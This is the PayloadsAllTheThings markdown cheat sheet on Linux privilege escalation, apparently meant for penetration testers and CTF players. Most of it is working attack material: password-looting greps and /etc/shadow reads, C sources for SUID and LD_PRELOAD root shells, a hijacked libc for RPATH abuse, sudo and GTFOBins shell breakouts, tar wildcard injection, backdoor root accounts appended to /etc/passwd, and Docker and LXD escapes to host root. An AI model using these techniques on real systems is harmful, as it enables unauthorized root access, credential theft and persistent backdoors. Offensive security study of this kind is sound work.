PayloadsAllTheThings/Methodology and Resources/Linux - Privilege Escalation.md
2019-04-15 00:49:56 +02:00

16 KiB
Raw Blame History

Linux - Privilege Escalation

Tools

Summary

Checklists

  • Kernel and distribution release details
  • System Information:
    • Hostname
    • Networking details:
    • Current IP
    • Default route details
    • DNS server information
  • User Information:
    • Current user details
    • Last logged on users
    • Shows users logged onto the host
    • List all users including uid/gid information
    • List root accounts
    • Extracts password policies and hash storage method information
    • Checks umask value
    • Checks if password hashes are stored in /etc/passwd
    • Extract full details for 'default' uid's such as 0, 1000, 1001 etc
    • Attempt to read restricted files i.e. /etc/shadow
    • List current users history files (i.e .bash_history, .nano_history etc.)
    • Basic SSH checks
  • Privileged access:
    • Which users have recently used sudo
    • Determine if /etc/sudoers is accessible
    • Determine if the current user has Sudo access without a password
    • Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
    • Is root's home directory accessible
    • List permissions for /home/
  • Environmental:
    • Display current $PATH
    • Displays env information
  • Jobs/Tasks:
    • List all cron jobs
    • Locate all world-writable cron jobs
    • Locate cron jobs owned by other users of the system
    • List the active and inactive systemd timers
  • Services:
    • List network connections (TCP & UDP)
    • List running processes
    • Lookup and list process binaries and associated permissions
    • List inetd.conf/xined.conf contents and associated binary file permissions
    • List init.d binary permissions
  • Version Information (of the following):
    • Sudo
    • MYSQL
    • Postgres
    • Apache
      • Checks user config
      • Shows enabled modules
      • Checks for htpasswd files
      • View www directories
  • Default/Weak Credentials:
    • Checks for default/weak Postgres accounts
    • Checks for default/weak MYSQL accounts
  • Searches:
    • Locate all SUID/GUID files
    • Locate all world-writable SUID/GUID files
    • Locate all SUID/GUID files owned by root
    • Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
    • Locate files with POSIX capabilities
    • List all world-writable files
    • Find/list all accessible *.plan files and display contents
    • Find/list all accessible *.rhosts files and display contents
    • Show NFS server details
    • Locate *.conf and *.log files containing keyword supplied at script runtime
    • List all *.conf files located in /etc
    • Locate mail
  • Platform/software specific tests:
    • Checks to determine if we're in a Docker container
    • Checks to see if the host has Docker installed
    • Checks to determine if we're in an LXC container

Looting for passwords

Files containing passwords

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

Last edited files

Files that were edited in the last 10 minutes

find / -mmin -10 2>/dev/null | grep -Ev "^/proc"

In memory passwords

strings /dev/mem -n10 | grep -i PASS

Find sensitive files

$ locate password | more           
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
...

Scheduled tasks

Cron jobs

Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.

/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d 
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/at.allow
/etc/at.deny
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root

Systemd timers

systemctl list-timers --all
NEXT                          LEFT     LAST                          PASSED             UNIT                         ACTIVATES
Mon 2019-04-01 02:59:14 CEST  15h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily.timer              apt-daily.service
Mon 2019-04-01 06:20:40 CEST  19h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily-upgrade.timer      apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST  20h left Sat 2019-03-09 14:28:25 CET   3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

3 timers listed.

SUID

SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is root, the uid will be changed to root even if it was executed from user bob. SUID bit is represented by an s.

╭─swissky@lab ~  
╰─$ ls /usr/bin/sudo -alh                  
-rwsr-xr-x 1 root root 138K 23 nov.  16:04 /usr/bin/sudo

Find SUID binaries

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

Create a SUID binary

print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c   
gcc -o /tmp/suid /tmp/suid.c  
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit

Capabilities

List capabilities of binaries

╭─swissky@lab ~  
╰─$ /usr/bin/getcap -r  /usr/bin
/usr/bin/fping                = cap_net_raw+ep
/usr/bin/dumpcap              = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin               = cap_net_bind_service+ep
/usr/bin/ping                 = cap_net_raw+ep
/usr/bin/rsh                  = cap_net_bind_service+ep
/usr/bin/rcp                  = cap_net_bind_service+ep

Edit capabilities

/usr/bin/setcap -r /bin/ping            # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add

Interesting capabilities

cap_dac_read_search # read anything
cap_setuid+ep # setuid

Example of privilege escalation with cap_setuid+ep

$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7

$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)

SUDO

NOPASSWD

Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.

$ sudo -l

User demo may run the following commands on crashlab:
    (root) NOPASSWD: /usr/bin/vim

In this example the user demo can run vim as root, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh.

sudo vim -c '!sh'
sudo -u root vim -c '!sh'

LD_PRELOAD and NOPASSWD

If LD_PRELOAD is explicitly defined in the sudoers file

Defaults        env_keep += LD_PRELOAD

Compile the following C code with gcc -fPIC -shared -o shell.so shell.c -nostartfiles

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/sh");
}

Execute any binary with the LD_PRELOAD to spawn a shell : sudo LD_PRELOAD=/tmp/shell.so find

Doas

There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf

permit nopass demo as root cmd vim

sudo_inject

Using https://github.com/nongiach/sudo_inject

$ sudo whatever
[sudo] password for user:    
# Press <ctrl>+c since you don't have the password. 
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)

Slides of the presentation : https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf

GTFOBins

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

Wildcard

By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.

# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh

# vulnerable script
tar cf archive.tar *

Tool: wildpwn

Writable /etc/passwd

First generate a password with one of the following commands

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Then add the user hacker and add the generated password.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

You can now use the su command with hacker:hacker

NFS Root Squashing

When no_root_squash appears in /etc/exports, the folder is shareable and a remote user can mount it

# create dir
mkdir /tmp/nfsdir  

# mount directory 
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir 
cd /tmp/nfsdir

# copy wanted shell 
cp /bin/bash . 	

# set suid permission
chmod +s bash 	

Shared Library

ldconfig

Identify shared libraries with ldd

$ ldd /opt/binary
    linux-vdso.so.1 (0x00007ffe961cd000)
    vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
    /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)        

Create a library in /tmp and activate the path.

gcc Wall fPIC shared o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

Groups

Docker

Mount the filesystem in a bash container, allowing you to edit the /etc/passwd as root, then add a backdoor account toor:password.

$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

Or use the following docker image from chrisfosterelli to spawn a root shell

$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete 
354c3661655e: Pull complete 
91930878a2d7: Pull complete 
a3ed95caeb02: Pull complete 
489b110c54dc: Pull complete 
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell

sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)

LXC/LXD

The privesc requires to run a container with elevated privileges and mount the host filesystem inside.

╭─swissky@lab ~  
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686

# import the image
lxc image import ./alpine.tar.gz --alias myimage

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

References